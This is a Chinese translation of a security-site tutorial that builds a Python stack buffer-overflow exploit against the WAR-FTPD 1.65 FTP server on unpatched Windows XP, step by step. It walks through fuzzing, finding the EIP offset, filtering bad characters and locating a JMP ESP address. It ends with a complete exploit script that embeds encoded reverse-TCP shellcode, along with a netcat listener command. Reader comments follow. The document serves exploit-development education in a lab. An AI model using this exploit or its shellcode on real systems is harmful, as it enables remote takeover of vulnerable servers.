实例讲解如何利用Python编写Exploit

2015-12-10 607595人围观 ,发现 17 个不明物体 系统安全

本项目的主要目的是学习编写一个Exploit的基本知识。后文中我将尽量将我所学内容一步一步地写成一篇指导性文章,包括过程中我所遇到的失败之处。为了使本文尽可能容易阅读,所以我决定以一个熟知的漏洞程序为例子,并以自己的方式来一步步编写利用代码。

0×00 环境介绍

受害端:

1、Windows XP(未打补丁)
2、WAR-FTPD 1.65
3、Immunity Debugger

攻击端:

1、Python
2、Telnet
3、Netcat

0×01 初始设置

在Windows计算机上运行Immunity Debugger和WAR-FTPD windows,然后通过Telnet连接它以确认从攻击端能够访问它。

0×02 Fuzzing、溢出

从这里开始,我们尝试通过一个缓冲区溢出漏洞来攻陷FTP服务器。首先,为了使输入内容能够攻破FTP服务,我们会向某个输入框中填写大量的数据,其中最明显的地方就是用户名或密码输入框。

#!/usr/bin/python
import socket, sys
 
target = '192.168.131.132'
payload = 'A' * int(sys.argv[1])
print "Payload length = %s\n" % sys.argv[1]
 
def send_exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((target, 21))
    try:
        s.send('user %s\r\n' % payload)
        print s.recv(1000)
        s.send('pass test\r\n')
    except:
        print "[+] server is down"
    s.close()
 
if __name__ == "__main__":
    send_exploit()

正如你所看到的,当我们利用一个长度为1000字节的payload(有效载荷)来测试时,输出了“[+]server is down”的信息,这意味着它可能在第500个字节时崩溃了。

在Immunity Debugger中,EIP也被41414141(AAAA级)所覆写,而它刚好匹配上我们的payload。需要注意的是,要记得在每次崩溃之后重启WAR-FTPD,然后再进行下一次尝试。

接下来我们要做的是为exploit找到所允许输入的最大数量,因为它基本上能告诉我们payload能够使用的空间大小。通过重复上面的方法,手动增加或减少输入内容的字节数,然后利用Immunity Debugger来验证刚好崩溃时的内容字节数。

当以1200+个字节内容进行测试时,最终停留在了一个名为msvcrt.dll的DLL文件中,而这里的EIP与41414141完全不同。另外,当payload大小为1100字节或以下时,我们仍然控制着EIP。

0×03 定位EIP

EIP是指向下一条指令的指针,通过控制它我们可以强制FTP服务器运行并执行非法位置的代码。此外,你总是可以通过手工测试来找到EIP,但这需要花费很长时间,所以我写了一个脚本来帮助我识别该指针。脚本内容见:bufferoverflow.py

#!/usr/bin/python
import socket, sys
 
target = '192.168.131.132'
payload = sys.argv[1]
print "Payload length = %s\n" % len(sys.argv[1])
 
def send_exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((target, 21))
    try:
        s.send('user %s\r\n' % payload)
        print s.recv(1000)
        s.send('pass test\r\n')
    except:
        print "[+] server is down"
    s.close()
 
if __name__ == "__main__":
    send_exploit()

当运行bufferoverflow.py并将输入解析到利用脚本中时,Immunity Debugger报告EIP的值为32714131,然后我以该EIP地址重新在bufferoverflow.py中运行,最后它能够识别EIP的位置,并识别到它处于Little Endian(小端)模式。

0×04 测试并识别坏字符

到目前为止,我们知道以下内容:

1、EIP位于‘A’* 485 +‘EIP_ADDRESS’
2、Payload的最大长度是1100字节
#!/usr/bin/python
import socket
 
target = '192.168.131.132'
 
buf = ''
 
exploit = 'A' * 485 + 'BBBB' + buf
padding = "C" * (1100 - len(exploit))
payload = exploit + padding
 
print 'Space left: %d bytes\n' % len(padding)
 
def send_exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((target, 21))
    try:
        s.send('user %s\r\n' % payload)
        print s.recv(1000)
        s.send('pass test\r\n')
    except:
        print "[+] server is down"
    s.close()
 
if __name__ == "__main__":
    send_exploit()

然后我用42424242(BBBB)替换EIP,以使其更容易验证我得到了真正的位置。如果我们跟随ESP dump,那么我们还可以看到EIP后面伴随着很多C,而这正是我们可以植入利用代码的地方。

现在我们需要做的是,测试是否存在可能给我们的利用代码带来麻烦的坏字符。

Common bad characters that may break the exploit.
 Hex Dec Description
 --- --- ---------------------------------------------
 0x00 0 Null byte, terminates a C string
 0x0A 10 Line feed, may terminate a command line
 0x0D 13 Carriage return, may terminate a command line
 0x20 32 Space, may terminate a command line argument

通过运行这段代码,我们将尝试0 x00到0 xff之间任何两者的组合。

#!/usr/bin/python
import socket
 
target = '192.168.131.132'
 
buf = ''
badcharacters = []
 
for i in range(0,256):
    if not any(chr(i) in s for s in badcharacters):
        buf += chr(i)
 
 
exploit = 'A' * 485 + 'BBBB' + buf
padding = "C" * (1100 - len(exploit))
payload = exploit + padding
 
print 'Space left: %d bytes\n' % len(padding)
 
def send_exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((target, 21))
    try:
        s.send('user %s\r\n' % payload)
        print s.recv(1000)
        s.send('pass test\r\n')
    except:
        print "[+] server is down"
    s.close()
 
if __name__ == "__main__":
    send_exploit()

在检测ESP dump过程中我们进行多次测试,现在我们就可以移除这些坏字符了,因为它们会破坏溢出注入操作。

在第四次测试时发生了一件很怪异的事情。当我从payload中删除\x00、\x0a和\x0a后,程序就开始不崩溃了。经过一些测试,我发现导致崩溃消失的这个字符是\ x40,或者符号“@”。我以后需要深入研究一下这个符号,因为一个程序即使在EIP值全为B时也能够继续运行,这一点讲不通。

0×05 创建exploit

现在,既然我们已经知道了所有的坏字符,那么就可以开始创建exploit了。为了简单起见,我将使用一个反向TCP shell连接到攻击机器的端口4444上,而非使用meterpreter。此外,我还使用msfvenom做了一些测试,但并不能生成正常工作的shellcode。

msfpayload windows/shell_reverse_tcp LHOST="192.168.131.132" LPORT=4444 EXITFUNC=thread R | msfencode -b '\x00\x0a\x0d\x40' -e x86/shikata_ga_nai
 
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
 
buf =
"\xb8\x9c\x9b\xd9\xaf\xda\xcd\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x4f\x31\x43\x14\x03\x43\x14\x83\xeb\xfc\x7e\x6e\x25" +
"\x47\xf7\x91\xd6\x98\x67\x1b\x33\xa9\xb5\x7f\x37\x98\x09" +
"\x0b\x15\x11\xe2\x59\x8e\xa2\x86\x75\xa1\x03\x2c\xa0\x8c" +
"\x94\x81\x6c\x42\x56\x80\x10\x99\x8b\x62\x28\x52\xde\x63" +
"\x6d\x8f\x11\x31\x26\xdb\x80\xa5\x43\x99\x18\xc4\x83\x95" +
"\x21\xbe\xa6\x6a\xd5\x74\xa8\xba\x46\x03\xe2\x22\xec\x4b" +
"\xd3\x53\x21\x88\x2f\x1d\x4e\x7a\xdb\x9c\x86\xb3\x24\xaf" +
"\xe6\x1f\x1b\x1f\xeb\x5e\x5b\x98\x14\x15\x97\xda\xa9\x2d" +
"\x6c\xa0\x75\xb8\x71\x02\xfd\x1a\x52\xb2\xd2\xfc\x11\xb8" +
"\x9f\x8b\x7e\xdd\x1e\x58\xf5\xd9\xab\x5f\xda\x6b\xef\x7b" +
"\xfe\x30\xab\xe2\xa7\x9c\x1a\x1b\xb7\x79\xc2\xb9\xb3\x68" +
"\x17\xbb\x99\xe4\xd4\xf1\x21\xf5\x72\x82\x52\xc7\xdd\x38" +
"\xfd\x6b\x95\xe6\xfa\x8c\x8c\x5e\x94\x72\x2f\x9e\xbc\xb0" +
"\x7b\xce\xd6\x11\x04\x85\x26\x9d\xd1\x09\x77\x31\x8a\xe9" +
"\x27\xf1\x7a\x81\x2d\xfe\xa5\xb1\x4d\xd4\xd3\xf6\xda\x17" +
"\x4b\x7b\x9b\xf0\x8e\x7b\x8d\x5c\x06\x9d\xc7\x4c\x4e\x36" +
"\x70\xf4\xcb\xcc\xe1\xf9\xc1\x44\x81\x68\x8e\x94\xcc\x90" +
"\x19\xc3\x99\x67\x50\x81\x37\xd1\xca\xb7\xc5\x87\x35\x73" +
"\x12\x74\xbb\x7a\xd7\xc0\x9f\x6c\x21\xc8\x9b\xd8\xfd\x9f" +
"\x75\xb6\xbb\x49\x34\x60\x12\x25\x9e\xe4\xe3\x05\x21\x72" +
"\xec\x43\xd7\x9a\x5d\x3a\xae\xa5\x52\xaa\x26\xde\x8e\x4a" +
"\xc8\x35\x0b\x6a\x2b\x9f\x66\x03\xf2\x4a\xcb\x4e\x05\xa1" +
"\x08\x77\x86\x43\xf1\x8c\x96\x26\xf4\xc9\x10\xdb\x84\x42" +
"\xf5\xdb\x3b\x62\xdc"

将payload添加到代码中,运行它并在崩溃时检查ESP dump。你可以看到:很多AAAAA,将其转换成十六进制后看起来很像exploit,后面紧随着CCCCCC。如果你未看到任何CCCCCC,这可能意味着exploit太长了,以至于你用完了可用空间;或者你忘了使用“-b”参数删除坏字符。不过,你可以通过运行exploit来验证剩余空间大小。

Space left: 297 bytes

0×06 定位有效的注入点

1、EIP位于‘A’* 485 +‘EIP_ADDRESS’
2、payload最大长度是1100字节
3、坏字符:\x00、\x0a、\x0d、\x40

坏字符不仅影响shell code,而且还影响我们想要操作的EIP。因为WAR-FTPD运行于一个以“00”起始的内存位置,意味着我们不能向这个位置注入payload,所以需要寻找另一个由WAR-FTPD加载到内存中的文件。

我强烈建议确认该文件不受ASLR或Rebase保护,否则这将使我们的工作非常困难。你可以下载mona插件并运行“!mona modules”来检测ASLR和Rebase保护的文件。下面,有两种类型的指令是我们需要寻找的,它们分别是“JMP ESP”或指令序列“PUSH ESP;RET”。

此外,ole32.dll似乎处于一个有效的内存范围内(base:7774 e0000,top:7774 d000)。打开它之后,我成功地找到了一个JMP ESP,并附带一个有效的内存地址:7755A930。

注意:十六进制奇数值(如1、3、5、7、9、B、D、F)的JMP ESP将不会起作用。

既然我们得到了一个目标地址,那么我们可以在exploit中用7755A930代替“BBBB”。需要记住的是,WAR-FTPD使用小端模式,这意味着我们需要反转指针地址为30A95577。

#!/usr/bin/python
import socket
 
target = '192.168.131.132'
 
 
buf = (
"\xb8\x9c\x9b\xd9\xaf\xda\xcd\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x4f\x31\x43\x14\x03\x43\x14\x83\xeb\xfc\x7e\x6e\x25" +
"\x47\xf7\x91\xd6\x98\x67\x1b\x33\xa9\xb5\x7f\x37\x98\x09" +
"\x0b\x15\x11\xe2\x59\x8e\xa2\x86\x75\xa1\x03\x2c\xa0\x8c" +
"\x94\x81\x6c\x42\x56\x80\x10\x99\x8b\x62\x28\x52\xde\x63" +
"\x6d\x8f\x11\x31\x26\xdb\x80\xa5\x43\x99\x18\xc4\x83\x95" +
"\x21\xbe\xa6\x6a\xd5\x74\xa8\xba\x46\x03\xe2\x22\xec\x4b" +
"\xd3\x53\x21\x88\x2f\x1d\x4e\x7a\xdb\x9c\x86\xb3\x24\xaf" +
"\xe6\x1f\x1b\x1f\xeb\x5e\x5b\x98\x14\x15\x97\xda\xa9\x2d" +
"\x6c\xa0\x75\xb8\x71\x02\xfd\x1a\x52\xb2\xd2\xfc\x11\xb8" +
"\x9f\x8b\x7e\xdd\x1e\x58\xf5\xd9\xab\x5f\xda\x6b\xef\x7b" +
"\xfe\x30\xab\xe2\xa7\x9c\x1a\x1b\xb7\x79\xc2\xb9\xb3\x68" +
"\x17\xbb\x99\xe4\xd4\xf1\x21\xf5\x72\x82\x52\xc7\xdd\x38" +
"\xfd\x6b\x95\xe6\xfa\x8c\x8c\x5e\x94\x72\x2f\x9e\xbc\xb0" +
"\x7b\xce\xd6\x11\x04\x85\x26\x9d\xd1\x09\x77\x31\x8a\xe9" +
"\x27\xf1\x7a\x81\x2d\xfe\xa5\xb1\x4d\xd4\xd3\xf6\xda\x17" +
"\x4b\x7b\x9b\xf0\x8e\x7b\x8d\x5c\x06\x9d\xc7\x4c\x4e\x36" +
"\x70\xf4\xcb\xcc\xe1\xf9\xc1\x44\x81\x68\x8e\x94\xcc\x90" +
"\x19\xc3\x99\x67\x50\x81\x37\xd1\xca\xb7\xc5\x87\x35\x73" +
"\x12\x74\xbb\x7a\xd7\xc0\x9f\x6c\x21\xc8\x9b\xd8\xfd\x9f" +
"\x75\xb6\xbb\x49\x34\x60\x12\x25\x9e\xe4\xe3\x05\x21\x72" +
"\xec\x43\xd7\x9a\x5d\x3a\xae\xa5\x52\xaa\x26\xde\x8e\x4a" +
"\xc8\x35\x0b\x6a\x2b\x9f\x66\x03\xf2\x4a\xcb\x4e\x05\xa1" +
"\x08\x77\x86\x43\xf1\x8c\x96\x26\xf4\xc9\x10\xdb\x84\x42" +
"\xf5\xdb\x3b\x62\xdc")
 
# EIP = 7755A930 = \x30\xa9\x55\x77
nop = '\x90' * 14
exploit = 'A' * 485 + '\x30\xa9\x55\x77' + nop + buf
padding = "C" * (1100 - len(exploit))
payload = exploit + padding
 
print 'Space left: %d bytes\n' % len(padding)
 
def send_exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((target, 21))
    try:
        s.send('user %s\r\n' % payload)
        print s.recv(1000)
        s.send('pass test\r\n')
    except:
        print "[+] server is down"
    s.close()
 
if __name__ == "__main__":
    send_exploit()

0×07 Pwning WAR-FTPD

在攻击端机器上运行netcat或类似的工具,使其监听4444端口(nc -nlvp 4444)。接着,开始愉快地pwning吧 !

0×08 参考资源

在研究的过程中,我发现了一些很棒的资源,链接如下:

http://www.securitysift.com/windows-exploit-development-part-1-basics/

https://samsclass.info/127/proj/vuln-server.htm

*原文地址:0×41.no,FB小编JackFree编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

这些评论亮了

  • 凌晨几度i (6级) FB作者 回复
    JackFree你的签名“语言最喜欢3P”一定是php,perl,python。。。
    )10( 亮了
  • k0_pwn007 (3级) 一只二进制小菜鸡k0shl 回复
    真的是特别好,楼主用Python从fuzz,到漏洞分析,再到利用,最后exploit,描述了一个详细的二进制漏洞挖掘分析利用过程,不仅能学习到二进制的知识,而且能学学习到一些Python的基本编程技巧,而且非常基础,适合学习!
    )10( 亮了
  • JackFree (8级) 冒个泡,表示我还关注着FB······ 回复
    @ 凌晨几度i  牛叉啊,这都猜到了。不过需要把PHP换成powershell。
    )9( 亮了
  • 本喵雲遊肆塰 (2级) 宁可一思进,莫在一思停. 回复
    干货呦,支持了
    )8( 亮了
  • blacksunny (3级) 追求理想化 回复
    很不错的文章,收藏一下
    )8( 亮了
发表评论

已有 17 条评论

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php